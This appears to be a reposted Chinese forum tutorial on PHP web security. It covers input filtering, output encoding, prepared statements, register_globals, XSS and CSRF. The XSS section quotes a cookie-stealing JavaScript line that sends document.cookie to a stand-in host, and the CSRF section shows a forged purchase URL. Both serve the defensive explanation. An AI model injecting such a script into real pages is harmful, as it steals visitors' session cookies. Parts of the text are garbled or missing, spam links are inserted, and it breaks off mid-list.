|
马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要 登录 才可以下载或查看,没有账号?立即注册
×
一、概念和原则
所有的输入数据都是不安全的
我们不能信任任何外来的数据,例如用户的表单提交数据、请求字符串、甚至是RSS种子,都不能信任。这些数据都可以被伪造。这些数据中可能故意包含某些字符,破坏程序的运行环境,例如可能包含有害的javascript代码。
因此,PHP预定义全局数组中的数据都有可能是伪造信息,包括$_POST,$_GET,$_COOKIE,甚至包括$_SERVER数组,因为这个数组中的部分数据是由客户端提供的信息。唯一的例外是$_SESSION,因为SESSION数据是保存在服务器上的。
总结:在处理输入数据之前,先进行过滤,有两种过滤方法:白名单和黑名单
黑名单和白名单过滤
黑名单过滤更宽松,它假设我们知道所有不能答应通过的内容。例如预先定义一系列的单词表,只要不在这个单词表中出现的内容都是合法的。
举例:获得用户输入的用户名和密码以后,我们要进行过滤,不答应用户输入单引号,双引号,等号,大于小于号,分号等等,因为这些符号可能影响我们SQL语句的结果,导致执行了意料之外的SQL,对数据安全造成严重破坏
白名单过滤更严格,他假设我们只知道能答应通过的内容。例如预先定义一系列规则,只有满足这个规则的内容才是合法的。
举例:获得用户输入的用户名和密码以后,我们要进行过滤,只允许用户输入字母和数字,因为我们确信这些符号不可能影响我们SQL语句的结果。
对输入进行过滤
我们可以在客户端使用javascript脚本对输入数据进行过滤验证,但是不能只依靠客户端,因为数据可以不通过你编写的客户端发送到服务器,因此,我们可以在客户端进行校验以提高用户感受,但在服务器端对数据进行验证是必须的。
TIPS:可以使用ctype_alpha()函数来验证内容是否全部由字母组成,ctype_alnum()判断内容是否全由数字组成。
对输出进行适当编码
不当的输入数据可能危害你的程序,不当的输出同样有可能危害你的客户。Web程序主要是与数据库和浏览器打交道,根据数据输出对象的不同,要进行相应的编码。
如果是输出数据到浏览器www.renwu8.net,那么要检查数据是否符合HTML规范,例如用于表示一个特定的标记,因此如果你的数据中包含,就需要对它们进行编码,以保证浏览器能够正确识别
TIPS:htmlspecialchars()和htmlentities()函数可以对HTML特殊符号进行编码,推荐使用后者
如果是输出数据到数据库,那么可以使用*_escape_string()函数来对SQL语句编码,推荐使用预编译处理PreparedSQL语句。从PHP5.1开始引入了PDO对象,可以在所有数据库引擎上提供PreparedSQL语句功能。即使某个数据库引擎不支持PreparedSQL,PDO也会自动为你进行语法转换。
举例
//对输入进行过滤
$clean=array();
if(ctype_alpha($_POST[’username’]))
{
$clean[’username’]=$_POST[’username’];
}
//使用占位符来编写SQL语句
$sql=’SELECT*FROMusersWHEREusername=:username’;
//创建预编译语句对象
$stmt=$dbh->prepare($sql);
//绑定用户名参数
$stmt->bindParam(’:username’,$clean[’username’]);
//执行并获取结果集
$stmt->execute();
$results=$stmt->fetchAll();
RegisterGlobals
从PHP4.2.0版开始,配置文件中register_globals的默认值从on改为off。当register_globals的默认值为on时,所有变量(请求、表单、会话、COOKIE)都直接注入代码,也就是说当你使用$a这个变量时,这个变量的数值有可能来自任何地方(请求、表单、会话、COOKIE),这给程序员开发带来了便利,但如果程序员的代码不严谨的话,将带来安全隐患
例如
等到PHP6推出,这个register_globals配置项将被取消。
二、网站安全
伪造表单
要知道不只你编写的表单可以给你自己提交数据,其他人也可以编写伪造表单来向你的站点提交数据,这样一来,你用JavaScript对表单进行的验证和过滤就都白写了。我们也可以使用$_SERVER["HTTP_REFERER"]来判断上一页的地址是不是你自己站点的地址,但是HTTP_REFERER信息也是由客户端提供的,因此也不安全。所以必须在服务器端对数据进行验证!
跨站脚本攻击(XSS)
跨站脚本攻击是另外一种常见的攻击方式,而且简单易用。看看下面的例子:
你开发了一个留言程序,php免费空间这个程序允许用户发表留言,发表完留言后自动转向查看所有留言页面。如果有一个用户发表了这样一段留言
document.location=’’http://example.org/getcookies.php?cookies=’’
+document.cookie;
那么其他用户在查看所有留言的时候,都将“看到”这段代码,这段代码将被他们的浏览器执行,把他们机器上保存的COOKIE信息(有可能是个人账号、人物吧密码、电话等隐私信息)发送到另外一个指定的网站。
这可以通过对输出进行编码来防止,例如使用htmlentities()编码以后,上面这段代码将变成
document.location='http://example.org/getcookies.php?cookies='
+document.cookie;
因此也就不能造成危害了
跨站请求伪造(CSRF)
XSS攻击依靠的是用户对于网站程序的信任,而CSRF攻击依靠的是网站对于用户的信任。例如:
一个恶意用户在网站购买书籍时候发现,用于购买请求采用GET方式提交,提交地址为http://yourhost/buybook.php?book_id=0129&qty=1
那么他就可以在其他站点上防置一个用于发送伪造请求的图片链接,这样其他用户在浏览包含一个这样的图片链接的网页的时候,就毫无察觉的发送了一个请求到购书网站。
对于大部分用户来说,这样的请求是无效的,因为他们并不是购书网站的用户。但是如果他正好也是这个购书网站用户,那么这个请求就真的将执行购买书的操纵。
预防CSRF请求可以采取以下方法
1)对于关键行为,避免使用$_GET,$_REQUEST,只使用$_POST,这样只有用户主动点击提交按钮,才能发生一个购买行为。(当然伪造$_POST数据也很容易,比如在恶意网站上放一个查看按钮,而这个按钮实际上是发送一个购书请求)
2)对于关键行为,避免使用COOKIE数据对用户进行验证,使用SESSION可以保证只有用户登录过购书站点才能进行购书行为。
3)对于关键行为,设置令牌,例如
|
|